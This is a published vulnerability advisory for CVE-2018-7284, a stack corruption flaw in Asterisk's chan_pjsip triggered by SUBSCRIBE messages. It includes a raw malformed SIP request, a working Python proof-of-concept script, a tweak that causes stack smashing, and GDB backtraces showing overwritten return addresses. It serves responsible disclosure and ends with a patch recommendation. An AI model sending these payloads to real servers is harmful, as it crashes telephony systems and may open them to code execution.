Asterisk 15.2.0 chan_pjsip SUBSCRIBE Stack Corruption

Asterisk running chan_pjsip suffers from a SUBSCRIBE message stack corruption vulnerability. Vulnerable versions include 15.2.0, 13.19.0, 14.7.5, and 13.11.2.


MD5 | 323b863197d2d23bab8781c4b5ccc8cc

# SUBSCRIBE message with a large Accept value causes stack corruption

- Authors:
- Alfred Farrugia <[email protected]>
- Sandro Gauci <[email protected]>
- Latest vulnerable version: Asterisk 15.2.0 running `chan_pjsip`
- Tested vulnerable versions: 15.2.0, 13.19.0, 14.7.5, 13.11.2
- References: AST-2018-004, CVE-2018-7284
- Advisory URL: <https://github.com/EnableSecurity/advisories/tree/master/ES2018-01-asterisk-pjsip-subscribe-stack-corruption>
- Vendor Advisory: <http://downloads.asterisk.org/pub/security/AST-2018-004.html>
- Timeline:
- Issue reported to vendor: 2018-01-30
- Vendor patch made available to us: 2018-02-06
- Vendor advisory published: 2018-02-21
- Enable Security advisory: 2018-02-22

## Description

A large SUBSCRIBE message with multiple malformed `Accept` headers will crash Asterisk due to stack corruption.

## Impact

Abuse of this vulnerability leads to denial of service in Asterisk when `chan_pjsip` is in use. Brief analysis indicates that this is an exploitable vulnerability that may lead to remote code execution.

## How to reproduce the issue

The following SIP message was used to reproduce the issue:

```
SUBSCRIBE sip:[email protected]:5060 SIP/2.0
To: <sip:[email protected]:5060>
From: Test <sip:[email protected]:5060>
Call-ID: 1627b84b-b57d-4256-a748-30d01d242199
CSeq: 2 SUBSCRIBE
Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK1627b84b-b57d-4256-a748-30d01d242199
Contact: <sip:[email protected]>
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Accept: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
(REPEAT ACCEPT FOR 50 TIMES)
Event: message-summary
Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE
Authorization: Digest username="3000",realm="asterisk",nonce="1517181436/80170188d05f4af45b8530366c8e7e5e",uri="sip:127.0.0.1:5060",response="a4a88b777731349899227dc3170efdcf",algorithm=md5
Content-Length: 0
```

Notes:

- authentication may be required

The following script was used to reproduce the issue:

```python
#!/usr/bin/env python
import socket
import ssl
import re
import md5
import uuid

PROTO = "udp"
SERVER_IP = "127.0.0.1"
SERVER_PORT = 5060
USERNAME = "3000"
PASSWORD = "3000"
SUBSCRIBE_USERNAME = "3000"

# default to SIP TCP
socktype = socket.SOCK_STREAM
if PROTO == "udp":
socktype = socket.SOCK_DGRAM
sock = socket.socket(socket.AF_INET, socktype)
if PROTO == "tls":
sock = ssl.wrap_socket(sock, ssl_version=ssl.PROTOCOL_TLSv1)

sock.connect((SERVER_IP, SERVER_PORT))


callid = str(uuid.uuid4())
msg = "SUBSCRIBE sip:%[email protected]%s:%i SIP/2.0\r\n" \
"To: <sip:%[email protected]%s:%i>\r\n" \
"From: Test <sip:%[email protected]%s:%s>\r\n" \
"Call-ID: %s\r\n" \
"CSeq: 2 SUBSCRIBE\r\n" \
"Via: SIP/2.0/TCP 172.17.0.1:10394;branch=z9hG4bK%s\r\n" \
"Contact: <sip:%[email protected]>\r\n" \
"Accept: application/simple-message-summary\r\n" \
"Event: message-summary\r\n" \
"Allow: Allow: SUBSCRIBE, NOTIFY, INVITE, ACK, CANCEL, BYE, REFER, INFO, OPTIONS, MESSAGE\r\n" \
"{{AUTH}}" \
"Content-Length: 0\r\n" \
"\r\n" % (
SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT,
SUBSCRIBE_USERNAME, SERVER_IP, SERVER_PORT,
USERNAME, SERVER_IP, SERVER_PORT,
callid, callid,
USERNAME)

sock.sendall(msg.replace("{{AUTH}}", ""))

data = sock.recv(10240)

if data.startswith("SIP/2.0 401"):
for line in data.split('\r\n'):
if line.startswith("WWW-Authenticate"):
content = line.split(':', 2)[1].strip()
realm = re.search("realm=\"([a-z]+)\"", content).group(1)
nonce = re.search("nonce=\"([a-z0-9\/]+)\"", content).group(1)
ha1 = md5.new(USERNAME + ":" + realm + ":" + PASSWORD).hexdigest()
uri = "sip:%s:%i" % (SERVER_IP, SERVER_PORT)
ha2 = md5.new("SUBSCRIBE:" + uri).hexdigest()
r = md5.new(ha1 + ":" + nonce + ":" + ha2).hexdigest()

auth = "Authorization: Digest username=\"%s\"," % (USERNAME) + \
"realm=\"%s\"," % (realm) + \
"nonce=\"%s\"," % (nonce) + \
"uri=\"%s\"," % (uri) + \
"response=\"%s\"," % (r) + \
"algorithm=md5\r\n"
print(auth)
newmsg = ""
for line in msg.split('\r\n'):
if line.startswith('Accept'):
for _ in range(64):
newmsg += 'Accept: ' + 'A' * 8 + '\r\n'
else:
newmsg += line + '\r\n'

newmsg = newmsg.replace("{{AUTH}}", auth)
print(newmsg)
sock.sendall(newmsg)
```

GDB Output:

```
2872 if (expires_header) {
(gdb) bt
#0 0x00007ffff1618000 in pubsub_on_rx_subscribe_request ([email protected]=0x7fffe00132f8) at res_pjsip_pubsub.c:2872
#1 0x00007ffff1618938 in pubsub_on_rx_request (rdata=0x7fffe00132f8) at res_pjsip_pubsub.c:3559
#2 0x00007ffff7864e97 in pjsip_endpt_process_rx_data (endpt=<optimized out>, rdata=0x4141414141414141, p=<optimized out>,
p_handled=0x7ffff0480d44) at ../src/pjsip/sip_endpoint.c:893
#3 0x00007ffff11ca200 in strcpy (__src=0x7fffe00132f8 "\300.", __dest=0x0) at /usr/include/x86_64-linux-gnu/bits/string3.h:110
#4 record_serializer (tdata=0x7fffe00095f0) at res_pjsip/pjsip_distributor.c:92
#5 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x769a652ff4df0300, [email protected]=0xff0348) at taskprocessor.c:963
#6 0x0000000000603960 in execute_tasks (data=0xff0348) at threadpool.c:1322
#7 0x00000000005fc6fe in ast_taskprocessor_execute (tps=0x958d58) at taskprocessor.c:963
#8 0x0000000000603e40 in threadpool_execute (pool=0x957f98) at threadpool.c:351
#9 worker_active (worker=0x7fffa0000fa8) at threadpool.c:1105
#10 worker_start (arg=0x7fffa0000fa8) at threadpool.c:1024
#11 0x000000000060ed00 in __ast_malloc (file=0x6753b0 "uri.c", func=<optimized out>, lineno=307, len=<optimized out>)
at /usr/local/src/asterisk-15.2.0/include/asterisk/utils.h:535
#12 ast_uri_make_host_with_port (uri=<optimized out>) at uri.c:307
#13 0x00007fffa0000c20 in ?? ()
#14 0x76f0f5cbfb310371 in ?? ()
#15 0x890f159a3c370371 in ?? ()
#16 0x00007fff00000000 in ?? ()
#17 0x00007ffff0480ef0 in ?? ()
#18 0x4141414141414141 in ?? ()
#19 0x00007ffff5241100 in arena_thread_freeres () at arena.c:927
#20 0x769a652ff4df0300 in ?? ()
#21 0x0000000000000000 in ?? ()
```

By increasing the amount of `Accept` headers in the python script, we see stack smashing actually occurring. Although this may not work on UDP due to packet limitations, it has been verified to work on TLS/TCP. The above script would need to be slightly modified to create 64 `Accept` headers each with a value of 100 bytes, as follows:

```python
for _ in range(64):
newmsg += 'Accept: ' + 'A' * 100 + '\r\n'
```

GDB Output:

```
*** stack smashing detected ***: /opt/asterisk/sbin/asterisk terminated

Thread 25 "asterisk" received signal SIGABRT, Aborted.
[Switching to Thread 0x7ffff0481700 (LWP 129)]
0x00007ffff5101428 in __GI_raise ([email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:54
54 ../sysdeps/unix/sysv/linux/raise.c: No such file or directory.
(gdb) bt
#0 0x00007ffff5101428 in __GI_raise ([email protected]=6) at ../sysdeps/unix/sysv/linux/raise.c:54
#1 0x00007ffff510302a in __GI_abort () at abort.c:89
#2 0x00007ffff51437ea in __libc_message ([email protected]=1, [email protected]=0x7ffff525b49f "*** %s ***: %s terminated\n") at ../sysdeps/posix/libc_fatal.c:175
#3 0x00007ffff51e515c in __GI___fortify_fail (msg=<optimized out>, [email protected]=0x7ffff525b481 "stack smashing detected") at fortify_fail.c:37
#4 0x00007ffff51e5100 in __stack_chk_fail () at stack_chk_fail.c:28
#5 0x00007ffff1613be2 in subscription_get_generator_from_rdata (handler=<optimized out>, handler=<optimized out>, rdata=<optimized out>) at res_pjsip_pubsub.c:755
#6 0x4141414141414141 in ?? ()
#7 0x4141414141414141 in ?? ()
#8 0x4141414141414141 in ?? ()
#9 0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x0041414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x4141414141414141 in ?? ()
#15 0x4141414141414141 in ?? ()
#16 0x4141414141414141 in ?? ()
#17 0x4141414141414141 in ?? ()
#18 0x4141414141414141 in ?? ()
#19 0x4141414141414141 in ?? ()
#20 0x0041414141414141 in ?? ()
#21 0x4141414141414141 in ?? ()
#22 0x4141414141414141 in ?? ()
#23 0x4141414141414141 in ?? ()
#24 0x4141414141414141 in ?? ()
#25 0x4141414141414141 in ?? ()
#26 0x4141414141414141 in ?? ()
#27 0x4141414141414141 in ?? ()
#28 0x0041414141414141 in ?? ()
#29 0x4141414141414141 in ?? ()
#30 0x4141414141414141 in ?? ()
#31 0x4141414141414141 in ?? ()
```

This security issue was discovered through the use of simple fuzzing with [Radamsa](https://github.com/aoh/radamsa) and our internal toolset.

## Solutions and recommendations

Apply the patch issued by Asterisk at <http://www.asterisk.org/security> or upgrade to the latest release.

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